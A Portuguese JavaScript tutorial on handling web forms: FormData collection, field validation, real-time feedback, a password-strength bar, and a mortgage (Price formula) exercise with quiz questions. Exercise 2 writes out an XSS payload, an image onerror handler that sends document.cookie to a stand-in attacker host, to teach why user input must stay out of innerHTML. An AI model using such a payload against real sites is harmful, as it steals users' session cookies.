Formulários são a principal forma de comunicação entre o usuário e uma aplicação web. Login, cadastro, checkout, busca, contato — tudo passa por formulários. E trabalhar bem com eles exige muito mais do que um <form> no HTML.
Neste artigo vamos aprender a coletar dados de formulários, validar em tempo real, dar feedback visual e entregar uma experiência de qualidade ao usuário — tudo isso sem usar nenhuma biblioteca externa.
Estrutura HTML base
Vamos trabalhar com este formulário de cadastro ao longo do artigo:
<form id="form-cadastro" novalidate>
<div class="campo">
<label for="nome">Nome completo</label>
<input type="text" id="nome" name="nome" placeholder="Seu nome completo">
<span class="erro" id="erro-nome"></span>
</div>
<div class="campo">
<label for="email">E-mail</label>
<input type="email" id="email" name="email" placeholder="seu@email.com">
<span class="erro" id="erro-email"></span>
</div>
<div class="campo">
<label for="senha">Senha</label>
<input type="password" id="senha" name="senha" placeholder="Mínimo 8 caracteres">
<span class="erro" id="erro-senha"></span>
</div>
<div class="campo">
<label for="confirmar">Confirmar senha</label>
<input type="password" id="confirmar" name="confirmar" placeholder="Repita a senha">
<span class="erro" id="erro-confirmar"></span>
</div>
<div class="campo">
<label for="perfil">Perfil</label>
<select id="perfil" name="perfil">
<option value="">Selecione...</option>
<option value="estudante">Estudante</option>
<option value="profissional">Profissional</option>
<option value="empresa">Empresa</option>
</select>
<span class="erro" id="erro-perfil"></span>
</div>
<div class="campo campo-check">
<input type="checkbox" id="termos" name="termos">
<label for="termos">Li e aceito os termos de uso</label>
<span class="erro" id="erro-termos"></span>
</div>
<button type="submit" id="btn-enviar">Criar conta</button>
</form>
O atributo novalidate no <form> desativa a validação nativa do navegador — queremos controlar tudo nós mesmos.
Coletando dados do formulário
Existem várias formas de coletar dados. Veja as principais:
// Acessando campos individualmente
const nome = document.querySelector("#nome").value;
const email = document.querySelector("#email").value;
// FormData — coleta todos os campos de uma vez
const form = document.querySelector("#form-cadastro");
form.addEventListener("submit", (e) => {
e.preventDefault();
const dados = new FormData(form);
// Acessar um campo pelo name
console.log(dados.get("nome"));
console.log(dados.get("email"));
// Converter para objeto simples
const objeto = Object.fromEntries(dados.entries());
console.log(objeto);
// { nome: "Ana", email: "ana@email.com", senha: "...", ... }
});
FormData é especialmente útil quando o formulário tem muitos campos — você não precisa selecionar cada um individualmente.
Tipos de campos e como ler seus valores
// Input de texto, email, password, number
const valor = document.querySelector("#nome").value; // string
// Checkbox
const aceito = document.querySelector("#termos").checked; // boolean
// Radio buttons — qual está marcado?
const genero = document.querySelector('input[name="genero"]:checked');
const valorGenero = genero ? genero.value : null;
// Select
const select = document.querySelector("#perfil");
const opcaoSelecionada = select.value; // valor da option
const textoSelecionado = select.options[select.selectedIndex].text;
// Select múltiplo
const selectMultiplo = document.querySelector("#interesses");
const selecionados = Array.from(selectMultiplo.selectedOptions)
.map(opt => opt.value);
// Input de arquivo
const arquivo = document.querySelector("#foto").files[0];
console.log(arquivo.name, arquivo.size, arquivo.type);
Sistema de validação
Vamos construir um sistema de validação modular e reutilizável:
// ── Regras de validação ────────────────────────────
const regras = {
nome(valor) {
if (!valor.trim()) return "Nome é obrigatório.";
if (valor.trim().length < 3) return "Nome deve ter pelo menos 3 caracteres.";
if (valor.trim().length > 80) return "Nome deve ter no máximo 80 caracteres.";
if (!/^[a-zA-ZÀ-ÿ\s]+$/.test(valor)) return "Nome deve conter apenas letras.";
return null; // null = válido
},
email(valor) {
if (!valor.trim()) return "E-mail é obrigatório.";
const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!regex.test(valor)) return "E-mail inválido.";
return null;
},
senha(valor) {
if (!valor) return "Senha é obrigatória.";
if (valor.length < 8) return "Senha deve ter pelo menos 8 caracteres.";
if (!/[A-Z]/.test(valor)) return "Senha deve conter ao menos uma letra maiúscula.";
if (!/[0-9]/.test(valor)) return "Senha deve conter ao menos um número.";
return null;
},
confirmar(valor) {
const senha = document.querySelector("#senha").value;
if (!valor) return "Confirmação de senha é obrigatória.";
if (valor !== senha) return "As senhas não coincidem.";
return null;
},
perfil(valor) {
if (!valor) return "Selecione um perfil.";
return null;
},
termos(valor) {
const checkbox = document.querySelector("#termos");
if (!checkbox.checked) return "Você deve aceitar os termos de uso.";
return null;
},
};
Funções de feedback visual
// ── Funções de UI ──────────────────────────────────
function mostrarErro(campo, mensagem) {
const input = document.querySelector(`#${campo}`);
const erroSpan = document.querySelector(`#erro-${campo}`);
input.classList.remove("valido");
input.classList.add("invalido");
erroSpan.textContent = mensagem;
}
function mostrarSucesso(campo) {
const input = document.querySelector(`#${campo}`);
const erroSpan = document.querySelector(`#erro-${campo}`);
input.classList.remove("invalido");
input.classList.add("valido");
erroSpan.textContent = "";
}
function limparFeedback(campo) {
const input = document.querySelector(`#${campo}`);
const erroSpan = document.querySelector(`#erro-${campo}`);
input.classList.remove("valido", "invalido");
erroSpan.textContent = "";
}
// ── Validação de campo individual ─────────────────
function validarCampo(nomeCampo) {
const input = document.querySelector(`#${nomeCampo}`);
const valor = input.type === "checkbox" ? input.checked : input.value;
const erro = regras[nomeCampo](valor);
if (erro) {
mostrarErro(nomeCampo, erro);
return false;
} else {
mostrarSucesso(nomeCampo);
return true;
}
}
Validação em tempo real no blur
// ── Eventos de validação em tempo real ────────────
const campos = ["nome", "email", "senha", "confirmar", "perfil"];
campos.forEach(campo => {
const input = document.querySelector(`#${campo}`);
// Valida quando o campo perde foco
input.addEventListener("blur", () => {
validarCampo(campo);
});
// Limpa o erro enquanto digita (após ter sido tocado)
input.addEventListener("input", () => {
if (input.classList.contains("invalido")) {
validarCampo(campo);
}
});
});
// Checkbox de termos
document.querySelector("#termos").addEventListener("change", () => {
validarCampo("termos");
});
Validando o formulário completo no submit
// ── Submit ─────────────────────────────────────────
const form = document.querySelector("#form-cadastro");
const btnEnviar = document.querySelector("#btn-enviar");
form.addEventListener("submit", (e) => {
e.preventDefault();
// Valida todos os campos
const todosCampos = ["nome", "email", "senha", "confirmar", "perfil", "termos"];
const resultados = todosCampos.map(campo => validarCampo(campo));
const formValido = resultados.every(resultado => resultado === true);
if (!formValido) {
// Foca no primeiro campo inválido
const primeiroInvalido = form.querySelector(".invalido");
if (primeiroInvalido) primeiroInvalido.focus();
return;
}
// Coleta os dados
const formData = new FormData(form);
const dados = Object.fromEntries(formData.entries());
// Remove a confirmação de senha — não precisamos enviar
delete dados.confirmar;
// Simula envio
enviarFormulario(dados);
});
async function enviarFormulario(dados) {
const btn = document.querySelector("#btn-enviar");
// Estado de carregamento
btn.disabled = true;
btn.textContent = "Criando conta...";
// Simula uma requisição (aprenderemos fetch no Módulo 3)
await new Promise(resolve => setTimeout(resolve, 1500));
console.log("Dados enviados:", dados);
// Feedback de sucesso
form.innerHTML = `
<div class="sucesso">
<div class="icone-sucesso">✅</div>
<h2>Conta criada com sucesso!</h2>
<p>Bem-vindo, <strong data-campo="nome"></strong>!</p>
<p>Um e-mail de confirmação foi enviado para <strong data-campo="email"></strong>.</p>
</div>
`;
// Os dois valores foram DIGITADOS pelo usuário, então não entram
// no template acima: interpolar dado de fora no innerHTML é XSS.
// O template traz só a marcação; o conteúdo entra por textContent.
form.querySelector('[data-campo="nome"]').textContent = dados.nome;
form.querySelector('[data-campo="email"]').textContent = dados.email;
}
Força da senha em tempo real
Um recurso muito comum — e útil para demonstrar como reagir a cada caractere digitado:
const inputSenha = document.querySelector("#senha");
const barraForca = document.createElement("div");
barraForca.id = "barra-forca";
// Insere a barra após o input de senha
inputSenha.after(barraForca);
function calcularForca(senha) {
let pontos = 0;
if (senha.length >= 8) pontos++;
if (senha.length >= 12) pontos++;
if (/[A-Z]/.test(senha)) pontos++;
if (/[a-z]/.test(senha)) pontos++;
if (/[0-9]/.test(senha)) pontos++;
if (/[^A-Za-z0-9]/.test(senha)) pontos++; // caractere especial
return pontos;
}
function atualizarBarraForca(senha) {
const forca = calcularForca(senha);
const niveis = [
{ min: 0, label: "", cor: "transparent", largura: "0%" },
{ min: 1, label: "Muito fraca", cor: "#e53935", largura: "20%" },
{ min: 2, label: "Fraca", cor: "#fb8c00", largura: "40%" },
{ min: 3, label: "Razoável", cor: "#fdd835", largura: "60%" },
{ min: 4, label: "Boa", cor: "#43a047", largura: "80%" },
{ min: 5, label: "Forte", cor: "#1b5e20", largura: "100%" },
];
const nivel = niveis[Math.min(forca, niveis.length - 1)];
barraForca.innerHTML = `
<div style="
height: 4px;
background: #eee;
border-radius: 4px;
margin-top: .35rem;
overflow: hidden;
">
<div style="
height: 100%;
width: ${nivel.largura};
background: ${nivel.cor};
border-radius: 4px;
transition: width .3s, background .3s;
"></div>
</div>
${senha ? `<small style="color: ${nivel.cor}; font-weight: 600;">${nivel.label}</small>` : ""}
`;
}
inputSenha.addEventListener("input", (e) => {
atualizarBarraForca(e.target.value);
});
O CSS do formulário
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', sans-serif;
background: #f0f2f5;
display: flex;
justify-content: center;
align-items: flex-start;
min-height: 100vh;
padding: 2rem 1rem;
}
form {
background: white;
padding: 2rem;
border-radius: 12px;
width: 100%;
max-width: 480px;
box-shadow: 0 4px 24px rgba(0,0,0,.08);
}
.campo {
margin-bottom: 1.25rem;
display: flex;
flex-direction: column;
gap: .35rem;
}
label {
font-size: .9rem;
font-weight: 600;
color: #333;
}
input, select {
padding: .7rem 1rem;
border: 2px solid #e0e0e0;
border-radius: 8px;
font-size: 1rem;
transition: border-color .2s, box-shadow .2s;
}
input:focus, select:focus {
outline: none;
border-color: #5c6bc0;
box-shadow: 0 0 0 3px rgba(92,107,192,.15);
}
input.valido { border-color: #43a047; }
input.invalido { border-color: #e53935; }
.erro {
font-size: .8rem;
color: #e53935;
min-height: 1rem;
}
.campo-check {
flex-direction: row;
align-items: center;
flex-wrap: wrap;
gap: .5rem;
}
.campo-check label { font-weight: 400; }
button[type="submit"] {
width: 100%;
padding: .85rem;
background: #5c6bc0;
color: white;
border: none;
border-radius: 8px;
font-size: 1rem;
font-weight: 700;
cursor: pointer;
margin-top: .5rem;
transition: background .2s;
}
button[type="submit"]:hover:not(:disabled) { background: #3949ab; }
button[type="submit"]:disabled { opacity: .6; cursor: not-allowed; }
.sucesso {
text-align: center;
padding: 2rem 1rem;
}
.icone-sucesso { font-size: 3rem; margin-bottom: 1rem; }
.sucesso h2 { margin-bottom: .5rem; color: #1b5e20; }
.sucesso p { color: #555; margin-top: .5rem; }
Boas práticas com formulários
// ✅ 1. Sempre use e.preventDefault() no submit
form.addEventListener("submit", (e) => {
e.preventDefault();
// ...
});
// ✅ 2. Valide no cliente E no servidor — nunca só no cliente
// A validação no front-end é para UX — a do back-end é para segurança
// ✅ 3. Dê feedback imediato e específico
// ❌ "Dados inválidos." — inútil
// ✅ "O e-mail deve estar no formato nome@dominio.com" — útil
// ✅ 4. Nunca desabilite o botão de submit antes do usuário tentar
// Desabilite apenas durante o envio
// ✅ 5. Preserve os dados do usuário em caso de erro
// Nunca limpe o formulário quando há erro de validação
// ✅ 6. Use o atributo autocomplete apropriado
// <input autocomplete="email"> — ajuda o gerenciador de senhas e preenchimento
// ✅ 7. Associe labels aos inputs com for/id
// <label for="email"> + <input id="email"> — acessibilidade e UX
Tarefa para você
Crie um formulário de cálculo de financiamento com os campos:
- Valor do imóvel (number, mínimo R$ 50.000)
- Entrada (number, mínimo 20% do valor)
- Prazo em meses (select: 60, 120, 180, 240, 360)
- Taxa de juros anual (number, entre 0.1% e 20%)
- Nome do solicitante (text)
Ao submeter (com todos os campos válidos), exiba abaixo do formulário:
Resumo do Financiamento
- Valor financiado: R$ X
- Parcela mensal estimada: R$ X (usando a fórmula Price)
- Total pago: R$ X
- Total de juros: R$ X
A fórmula Price para cálculo de parcela:
// PMT = PV * (i * (1 + i)^n) / ((1 + i)^n - 1)
// PV = valor financiado, i = taxa mensal, n = prazo em meses
const taxaMensal = taxaAnual / 100 / 12;
const parcela = valorFinanciado *
(taxaMensal * Math.pow(1 + taxaMensal, prazo)) /
(Math.pow(1 + taxaMensal, prazo) - 1);
Ver solução — o formulário de financiamento, da validação à tabela Price
// ---- index.html
// <form id="form-financiamento" novalidate>
// <label>Valor do imóvel
// <input type="number" name="valor" min="50000" step="0.01" required>
// </label>
// <label>Entrada
// <input type="number" name="entrada" min="0" step="0.01" required>
// </label>
// <label>Prazo
// <select name="prazo" required>
// <option value="">Selecione...</option>
// <option value="60">60 meses</option>
// <option value="120">120 meses</option>
// <option value="180">180 meses</option>
// <option value="240">240 meses</option>
// <option value="360">360 meses</option>
// </select>
// </label>
// <label>Taxa de juros anual (%)
// <input type="number" name="taxa" min="0.1" max="20" step="0.01" required>
// </label>
// <label>Nome do solicitante
// <input type="text" name="nome" required minlength="3">
// </label>
// <button type="submit">Calcular</button>
// </form>
// <div id="resumo" role="status"></div>
// ---- financiamento.js
// A matemática fica fora do DOM: assim dá para testá-la sem navegador.
function calcularPrice({ valor, entrada, prazo, taxaAnual }) {
const financiado = valor - entrada;
// Juros compostos: a taxa mensal é a raiz 12 da anual, não a anual
// dividida por 12. A divisão simples é a convenção do enunciado e do
// mercado imobiliário brasileiro — mas as duas não dão o mesmo número.
const taxaMensal = taxaAnual / 100 / 12;
// Taxa zero é caso legítimo e faria 0/0 na fórmula Price.
const parcela =
taxaMensal === 0
? financiado / prazo
: (financiado * (taxaMensal * Math.pow(1 + taxaMensal, prazo))) /
(Math.pow(1 + taxaMensal, prazo) - 1);
const total = parcela * prazo;
return { financiado, parcela, total, juros: total - financiado };
}
const reais = (n) =>
n.toLocaleString("pt-BR", { style: "currency", currency: "BRL" });
// ---------------------------------------------------------------
// Validação — as regras que o HTML sozinho não expressa
// ---------------------------------------------------------------
// min/max/required no HTML já barram muita coisa, mas "entrada de pelo
// menos 20% do valor" depende de OUTRO campo. Isso é regra de negócio,
// e mora no JavaScript.
function validar({ valor, entrada, prazo, taxaAnual, nome }) {
const erros = {};
if (!Number.isFinite(valor) || valor < 50000) {
erros.valor = "O valor do imóvel deve ser de pelo menos R$ 50.000,00.";
}
const minimoEntrada = valor * 0.2;
if (!Number.isFinite(entrada) || entrada < minimoEntrada) {
erros.entrada = `A entrada mínima é ${reais(minimoEntrada || 0)} (20%).`;
} else if (entrada >= valor) {
// Sem esta guarda, financiado <= 0 e a Price devolve parcela zero
// ou negativa — resumo bonito e completamente errado.
erros.entrada = "A entrada não pode ser igual ou maior que o valor do imóvel.";
}
if (![60, 120, 180, 240, 360].includes(prazo)) {
erros.prazo = "Escolha um dos prazos disponíveis.";
}
if (!Number.isFinite(taxaAnual) || taxaAnual < 0.1 || taxaAnual > 20) {
erros.taxa = "A taxa anual deve ficar entre 0,1% e 20%.";
}
if (nome.trim().length < 3) {
erros.nome = "Informe o nome completo do solicitante.";
}
return erros;
}
// ---------------------------------------------------------------
// O formulário
// ---------------------------------------------------------------
const formulario = document.querySelector("#form-financiamento");
const resumo = document.querySelector("#resumo");
function lerCampos(form) {
const dados = new FormData(form);
// Todo valor de FormData é string — inclusive de <input type="number">.
// Sem Number(), "100000" > "50000" compararia como texto e "9" seria
// maior que "100000".
return {
valor: Number(dados.get("valor")),
entrada: Number(dados.get("entrada")),
prazo: Number(dados.get("prazo")),
taxaAnual: Number(dados.get("taxa")),
nome: String(dados.get("nome") ?? ""),
};
}
function mostrarErros(erros) {
formulario.querySelectorAll(".erro").forEach((e) => e.remove());
formulario
.querySelectorAll("[aria-invalid]")
.forEach((c) => c.removeAttribute("aria-invalid"));
for (const [campo, mensagem] of Object.entries(erros)) {
const elemento = formulario.elements[campo];
if (!elemento) continue;
elemento.setAttribute("aria-invalid", "true");
const aviso = document.createElement("p");
aviso.classList.add("erro");
aviso.textContent = mensagem;
elemento.insertAdjacentElement("afterend", aviso);
}
// Leva o foco ao primeiro problema: sem isso, num formulário longo,
// o usuário não vê o que deu errado.
const primeiro = Object.keys(erros)[0];
if (primeiro && formulario.elements[primeiro]) {
formulario.elements[primeiro].focus();
}
}
formulario.addEventListener("submit", (evento) => {
// O submit padrão recarrega a página e some com tudo.
evento.preventDefault();
const campos = lerCampos(formulario);
const erros = validar(campos);
if (Object.keys(erros).length > 0) {
mostrarErros(erros);
resumo.textContent = "";
return;
}
mostrarErros({});
const { financiado, parcela, total, juros } = calcularPrice(campos);
resumo.innerHTML = `
<h3>Resumo do Financiamento</h3>
<p>Solicitante: <strong></strong></p>
<ul>
<li>Valor financiado: <strong>${reais(financiado)}</strong></li>
<li>Parcela mensal estimada: <strong>${reais(parcela)}</strong></li>
<li>Total pago: <strong>${reais(total)}</strong></li>
<li>Total de juros: <strong>${reais(juros)}</strong></li>
</ul>
`;
// O nome é o único dado que veio digitado: entra por textContent,
// fora do template. Interpolá-lo no innerHTML acima seria XSS.
resumo.querySelector("p strong").textContent = campos.nome.trim();
});
// ---------------------------------------------------------------
// Conferindo a fórmula (roda no Node, sem navegador)
// ---------------------------------------------------------------
// 300.000 de imóvel, 60.000 de entrada, 360 meses, 9% ao ano:
console.log(
calcularPrice({ valor: 300000, entrada: 60000, prazo: 360, taxaAnual: 9 })
);
// financiado: 240000 · parcela: 1931,09 · total: 695.193,94 · juros: 455.193,94
// Repare no tamanho dos juros: em 30 anos, quem financia 240 mil paga
// quase o dobro disso só de juros. O número não é erro da fórmula.
// Prova de sanidade: a soma das amortizações tem de fechar no valor
// financiado. Se a fórmula estiver errada, sobra ou falta dinheiro.
function conferir({ valor, entrada, prazo, taxaAnual }) {
const { financiado, parcela } = calcularPrice({ valor, entrada, prazo, taxaAnual });
const i = taxaAnual / 100 / 12;
let saldo = financiado;
for (let mes = 1; mes <= prazo; mes++) {
saldo = saldo + saldo * i - parcela;
}
return saldo; // deve ser ~0 (só sobra o resíduo de ponto flutuante)
}
console.log(conferir({ valor: 300000, entrada: 60000, prazo: 360, taxaAnual: 9 }).toFixed(6));
Todo valor que vem de formulário é string, mesmo em <input type="number">. Sem Number(), "9" > "100000" é true e a validação passa batido. E validação de campo contra campo — "entrada ≥ 20% do valor" — o HTML não expressa: ou está no JavaScript, ou não existe.
Validação no navegador é conveniência, nunca segurança: ela serve para o usuário descobrir o erro antes de enviar, e qualquer pessoa a contorna com o DevTools aberto. O servidor valida tudo de novo, sem exceção. Dito isso, é no cliente que se ganha a experiência — FormData com Object.fromEntries resolve a coleta em duas linhas, e avisar do erro no blur, e não a cada tecla, é a diferença entre ajudar e atrapalhar quem ainda está digitando.
Fontes e Referências
- MDN Web Docs — HTMLFormElement: https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement
- MDN Web Docs — FormData: https://developer.mozilla.org/pt-BR/docs/Web/API/FormData
- MDN Web Docs — Constraint Validation: https://developer.mozilla.org/en-US/docs/Web/HTML/Constraint_validation
- MDN Web Docs — input event: https://developer.mozilla.org/pt-BR/docs/Web/API/HTMLElement/input_event
- JavaScript.info — Forms and Controls: https://javascript.info/forms-controls
- MDN — Validação de formulários: https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Form_validation
- Eloquent JavaScript, Cap. 18 — HTTP and Forms: https://eloquentjavascript.net/18_http.html
- Web.dev — Learn Forms: https://web.dev/learn/forms
Exercícios
Exercício 1
O usuário preencheu a idade com 30 e deixou o checkbox de termos desmarcado. O que sai em cada linha?
// <input type="number" name="idade"> <input type="checkbox" name="termos">
const dados = Object.fromEntries(new FormData(form).entries());
console.log(dados.termos); // A
console.log("termos" in dados); // B
console.log(typeof dados.idade); // C
console.log(dados.idade > 18); // D
Ver resposta
✓ Resposta: A é undefined e B é false: checkbox desmarcado simplesmente não é enviado — não vira false, nem "", nem "off"; a chave não existe. Isso é comportamento de formulário HTML, não peculiaridade do JavaScript, e vale igual no back-end. Marcado, o valor seria "on", a menos que a tag traga um value próprio. C é "string", mesmo com type="number": FormData transporta texto. D é true, mas por acidente — o operador > converte os dois lados para número antes de comparar. Troque por dados.idade > "18", ou compare com outra string, e a comparação passa a ser alfabética, onde "9" é maior que "100". Converta ao ler, com Number(). E há uma terceira armadilha no Object.fromEntries: com vários campos de mesmo name, como um grupo de checkboxes, só o último sobrevive — nesse caso use formData.getAll("nome").
Exercício 2
Esta era a mensagem de sucesso antes da correção. Alguém se cadastra com o nome abaixo. O que acontece na tela?
// nome digitado: <img src="x" onerror="fetch('//evil.tld?c='+document.cookie)">
form.innerHTML = `
<div class="sucesso">
<h2>Conta criada com sucesso!</h2>
<p>Bem-vindo, <strong>${dados.nome}</strong>!</p>
</div>
`;
Ver resposta
✓ Resposta: A tela mostra "Bem-vindo, !" e, sem nenhum aviso, os cookies da sessão saem para o servidor do atacante. O template literal só monta a string; quem interpreta é o innerHTML, e para ele não existe diferença entre a marcação que você escreveu e a que veio do campo de nome — tudo é parseado igual. A imagem aponta para um recurso inexistente, o carregamento falha, o onerror dispara e o JavaScript embutido roda com todos os privilégios da página. Repare que a validação do artigo não impede isso: a regra de nome só roda no blur e no submit, e um atacante não usa o formulário — envia a requisição direto. Daí a regra ter duas metades inseparáveis: validar no servidor, porque validação de cliente não é barreira de segurança; e, na hora de exibir, manter dado de usuário fora do innerHTML, escrevendo-o por textContent num elemento que o template já criou vazio.
Exercício 3
O campo é <input type="number" id="idade"> e o usuário digitou abc — o navegador aceitou as letras na caixa. O que sai?
const input = document.querySelector("#idade");
console.log(input.value); // A
console.log(Number(input.value)); // B
console.log(input.validity.badInput); // C
console.log(input.validity.valueMissing); // D
Ver resposta
✓ Resposta: A é a string vazia "". Num input numérico, quando o conteúdo não é um número válido, a propriedade value não devolve o texto digitado — devolve vazio, e o que o usuário vê na caixa deixa de corresponder ao que o seu código lê. B é 0, porque Number("") é zero: uma validação escrita como Number(valor) >= 0 aprova o lixo em silêncio. C é true e D é false — e é justamente o objeto validity que distingue "está vazio" de "tem algo que não é número", diferença invisível pelo value. Vale notar que o novalidate do formulário do artigo não desliga isso: ele suprime as bolhas de erro do navegador e a trava no envio, mas validity, checkValidity() e o seletor :invalid continuam funcionando, prontos para serem usados pela sua própria camada de validação.
Exercício 4
A regra de confirmação lê a senha direto do DOM. O usuário preenche os dois campos iguais, os dois ficam verdes — e então ele volta e muda a senha. O que aparece na tela?
confirmar(valor) {
const senha = document.querySelector("#senha").value;
if (valor !== senha) return "As senhas não coincidem.";
return null;
},
// os listeners registrados para cada campo:
input.addEventListener("blur", () => validarCampo(campo));
input.addEventListener("input", () => {
if (input.classList.contains("invalido")) validarCampo(campo);
});
Ver resposta
✓ Resposta: Os dois campos continuam verdes, embora já não coincidam. O campo de confirmação só é revalidado quando ele recebe um evento, e o usuário não encostou nele — mexeu na senha. É a característica das regras que comparam campos: elas têm dois lados, e precisam ser reexecutadas a partir de ambos. A correção é revalidar o dependente quando o outro muda: no listener da senha, chamar também validarCampo("confirmar") — com a ressalva de só fazer isso se a confirmação já tiver sido preenchida, para não acusar erro num campo que o usuário ainda nem visitou. Há um segundo detalhe escondido no listener de input: ele só revalida quando o campo já está marcado como inválido. A escolha é deliberada e boa para quem está digitando — ninguém quer ver "e-mail inválido" na terceira letra —, mas tem o efeito colateral de um campo verde só perder o verde no blur. Nenhum dos dois casos deixa passar dados errados, porque o submit revalida tudo; o que fica errado é a informação na tela, e é isso que o usuário usa para decidir se pode enviar.
Exercício 5
Esta é a regra de nome do artigo. Quais destes quatro nomes ela aceita?
if (!/^[a-zA-ZÀ-ÿ\s]+$/.test(valor)) return "Nome deve conter apenas letras.";
// 1. "José da Silva"
// 2. "O'Brien"
// 3. "Ana ÷ Paula"
// 4. "Đăng Nguyễn"
Ver resposta
✓ Resposta: Passam o 1 e o 3; são recusados o 2 e o 4. O intervalo À-ÿ não é uma lista de letras acentuadas: é um trecho contíguo da tabela Unicode, e nele moram também × (multiplicação) e ÷ (divisão), que entram como se fossem letra. Ao mesmo tempo, o intervalo termina em ÿ e deixa de fora tudo o que vem depois — o Đ, o ă e o ễ do quarto nome, além de grego, cirílico, árabe e ideogramas. Já o apóstrofo do segundo cai fora por não ser letra em lugar nenhum, apesar de ser parte legítima de sobrenomes comuns. A forma correta em JavaScript moderno é pedir a categoria Unicode em vez de um intervalo: /^[\p{L}\p{M}'\s.-]+$/u, com a flag u obrigatória. Mas o conselho mais útil vem antes da expressão: nome de pessoa quase não tem regra confiável, e validação apertada demais nesse campo rejeita gente de verdade. Limitar o tamanho e exigir que não esteja vazio costuma ser tudo o que se ganha com segurança.